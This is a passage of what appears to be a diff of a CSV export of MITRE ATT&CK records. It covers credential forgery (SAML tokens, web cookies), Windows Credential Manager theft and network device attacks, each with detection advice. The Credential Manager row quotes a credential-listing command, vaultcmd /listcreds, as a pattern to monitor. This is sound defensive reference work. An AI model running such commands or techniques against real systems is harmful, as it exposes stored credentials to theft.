phase_name='credential-access')]",2021-04-14 14:29:27.290000+00:00,SAML Tokens,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Blake Strom, Microsoft 365 Defender', 'Oleg Kolesnikov, Securonix']","['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']",,,,,"This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML) +An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1606/002', 'external_id': 'T1606.002'}, {'source_name': 'Microsoft SolarWinds Steps', 'description': 'Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.', 'url': 'https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/'}, {'source_name': 'Microsoft SAML Token Lifetimes', 'description': 'Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes'}, {'source_name': 'Cyberark Golden SAML', 'description': 'Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.', 'url': 'https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps'}, {'source_name': 'Microsoft SolarWinds Customer Guidance', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/'}, {'source_name': 'Sygnia Golden SAML', 'description': 'Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.', 'url': 'https://www.sygnia.co/golden-saml-advisory'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jen Burns, HubSpot', 'Blake Strom, Microsoft 365 Defender', 'Oleg Kolesnikov, Securonix']","['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']",,"This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML) -Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)",,,,,True,,,['Administrator'],"['Azure AD', 'SaaS', 'Windows', 'Office 365', 'Google Workspace']",,,,1.1 -2020-12-17 02:14:34.178000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. +Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)",True,['Administrator'],"['Azure AD', 'SaaS', 'Windows', 'Office 365', 'Google Workspace', 'IaaS']",1.2,,,,,,, +attack-pattern,attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-17T02:14:34.178Z,2021-09-20T16:48:28.041Z,Web Cookies,"Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values. -Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1606/001', external_id='T1606.001'), ExternalReference(source_name='Pass The Cookie', description='Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', url='https://wunderwuzzi23.github.io/blog/passthecookie.html'), ExternalReference(source_name='Volexity SolarWinds', description='Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.', url='https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/'), ExternalReference(source_name='Unit 42 Mac Crypto Cookies January 2019', description='Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', url='https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/')]",attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-01-11 20:31:36.404000+00:00,Web Cookies,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']",,,,,"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",,,,,True,,,,"['Linux', 'macOS', 'Windows', 'SaaS']",,,,1.0 -2020-12-17 02:13:46.247000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. +Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1606/001', 'external_id': 'T1606.001'}, {'source_name': 'Pass The Cookie', 'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html'}, {'source_name': 'Volexity SolarWinds', 'description': 'Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.', 'url': 'https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jen Burns, HubSpot']","['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']",,"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",True,,"['Linux', 'macOS', 'Windows', 'SaaS', 'IaaS']",1.1,,,,,,, +attack-pattern,attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-17T02:13:46.247Z,2021-10-12T14:26:52.179Z,Forge Web Credentials,"Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) -Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1606', external_id='T1606'), ExternalReference(source_name='GitHub AWS-ADFS-Credential-Generator', description='Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020.', url='https://github.com/damianh/aws-adfs-credential-generator'), ExternalReference(source_name='Pass The Cookie', description='Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', url='https://wunderwuzzi23.github.io/blog/passthecookie.html'), ExternalReference(source_name='Unit 42 Mac Crypto Cookies January 2019', description='Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', url='https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/'), ExternalReference(source_name='Microsoft SolarWinds Customer Guidance', description='MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.', url='https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/')]",attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-14 14:29:27.631000+00:00,Forge Web Credentials,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']",,,,,"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",,,,,False,,,,"['SaaS', 'Windows', 'macOS', 'Linux', 'Azure AD', 'Office 365', 'Google Workspace']",,,,1.1 -2020-11-23 15:35:53.793000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker) +Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1606', 'external_id': 'T1606'}, {'source_name': 'GitHub AWS-ADFS-Credential-Generator', 'description': 'Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020.', 'url': 'https://github.com/damianh/aws-adfs-credential-generator'}, {'source_name': 'Pass The Cookie', 'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/'}, {'source_name': 'Microsoft SolarWinds Customer Guidance', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Creation', 'Web Credential: Web Credential Usage']",,"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",False,,"['SaaS', 'Windows', 'macOS', 'Linux', 'Azure AD', 'Office 365', 'Google Workspace', 'IaaS']",1.2,,,,,,, +attack-pattern,attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-11-23T15:35:53.793Z,2021-04-29T21:00:18.973Z,Windows Credential Manager,"Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker) The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker. @@ -148,44 +257,44 @@ Credential Lockers store credentials in encrypted .vcrd files, loca Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as CredEnumerateA to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) -Adversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1555/004', external_id='T1555.004'), ExternalReference(source_name='Microsoft Credential Manager store', description='Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.', url='https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store'), ExternalReference(source_name='Microsoft Credential Locker', description='Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.', url='https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN'), ExternalReference(source_name='passcape Windows Vault', description='Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.', url='https://www.passcape.com/windows_password_recovery_vault_explorer'), ExternalReference(source_name='Malwarebytes The Windows Vault', description='Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.', url='https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ '), ExternalReference(source_name='Microsoft CredEnumerate', description='Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.', url='https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea'), ExternalReference(source_name='Delpy Mimikatz Crendential Manager', description='Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.', url='https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials')]",attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-29 21:00:18.973000+00:00,Windows Credential Manager,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Bernaldo Penas Antelo', 'Mugdha Peter Bansode']","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'File: File Access']",,,,,"Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:“Windows Credentials”).(Citation: Malwarebytes The Windows Vault) +Adversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555/004', 'external_id': 'T1555.004'}, {'source_name': 'Microsoft Credential Manager store', 'description': 'Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store'}, {'source_name': 'Microsoft Credential Locker', 'description': 'Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN'}, {'source_name': 'passcape Windows Vault', 'description': 'Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.', 'url': 'https://www.passcape.com/windows_password_recovery_vault_explorer'}, {'source_name': 'Malwarebytes The Windows Vault', 'description': 'Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.', 'url': 'https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ '}, {'source_name': 'Microsoft CredEnumerate', 'description': 'Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea'}, {'source_name': 'Delpy Mimikatz Crendential Manager', 'description': 'Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.', 'url': 'https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Bernaldo Penas Antelo', 'Mugdha Peter Bansode']","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'File: File Access']",,"Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:“Windows Credentials”).(Citation: Malwarebytes The Windows Vault) Consider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager) -Consider monitoring file reads to Vault locations, %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-10-20 00:09:33.072000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. +Consider monitoring file reads to Vault locations, %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)",True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--818302b2-d640-477b-bf88-873120ce85c4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-20T00:09:33.072Z,2021-07-26T15:57:50.800Z,Network Device CLI,"Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. -Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or secure shell (SSH). +Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004). -Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1059/008', external_id='T1059.008'), ExternalReference(source_name='Cisco Synful Knock Evolution', description='Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', url='https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Command History', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#23')]",attack-pattern--818302b2-d640-477b-bf88-873120ce85c4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-10-22 16:43:38.388000+00:00,Network Device CLI,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Command: Command Execution'],,,,,"Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History) +Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/008', 'external_id': 'T1059.008'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Command History', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#23'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Command: Command Execution'],,"Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History) -Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.",,,,,True,,,"['Administrator', 'User']",['Network'],,,,1.0 -2020-10-20 00:08:21.745000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use. +Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.",True,"['Administrator', 'User']",['Network'],1.1,True,,,,,, +attack-pattern,attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-20T00:08:21.745Z,2020-10-22T01:45:55.144Z,Network Device Configuration Dump,"Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use. -Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1602/002', external_id='T1602.002'), ExternalReference(source_name='US-CERT TA18-106A Network Infrastructure Devices 2018', description='US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', url='https://us-cert.cisa.gov/ncas/alerts/TA18-106A'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'), ExternalReference(source_name='US-CERT TA18-068A 2018', description='US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', url='https://www.us-cert.gov/ncas/alerts/TA18-086A')]",attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-10-22 01:45:55.144000+00:00,Network Device Configuration Dump,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,,Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration. (Citation: US-CERT TA18-068A 2018),,,,,True,,,['Administrator'],['Network'],,,,1.0 -2020-10-20 00:06:56.180000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images. +Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1602/002', 'external_id': 'T1602.002'}, {'source_name': 'US-CERT TA18-106A Network Infrastructure Devices 2018', 'description': 'US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/TA18-106A'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'US-CERT TA18-068A 2018', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration. (Citation: US-CERT TA18-068A 2018),True,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-20T00:06:56.180Z,2020-10-22T16:35:53.806Z,TFTP Boot,"Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images. -Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog 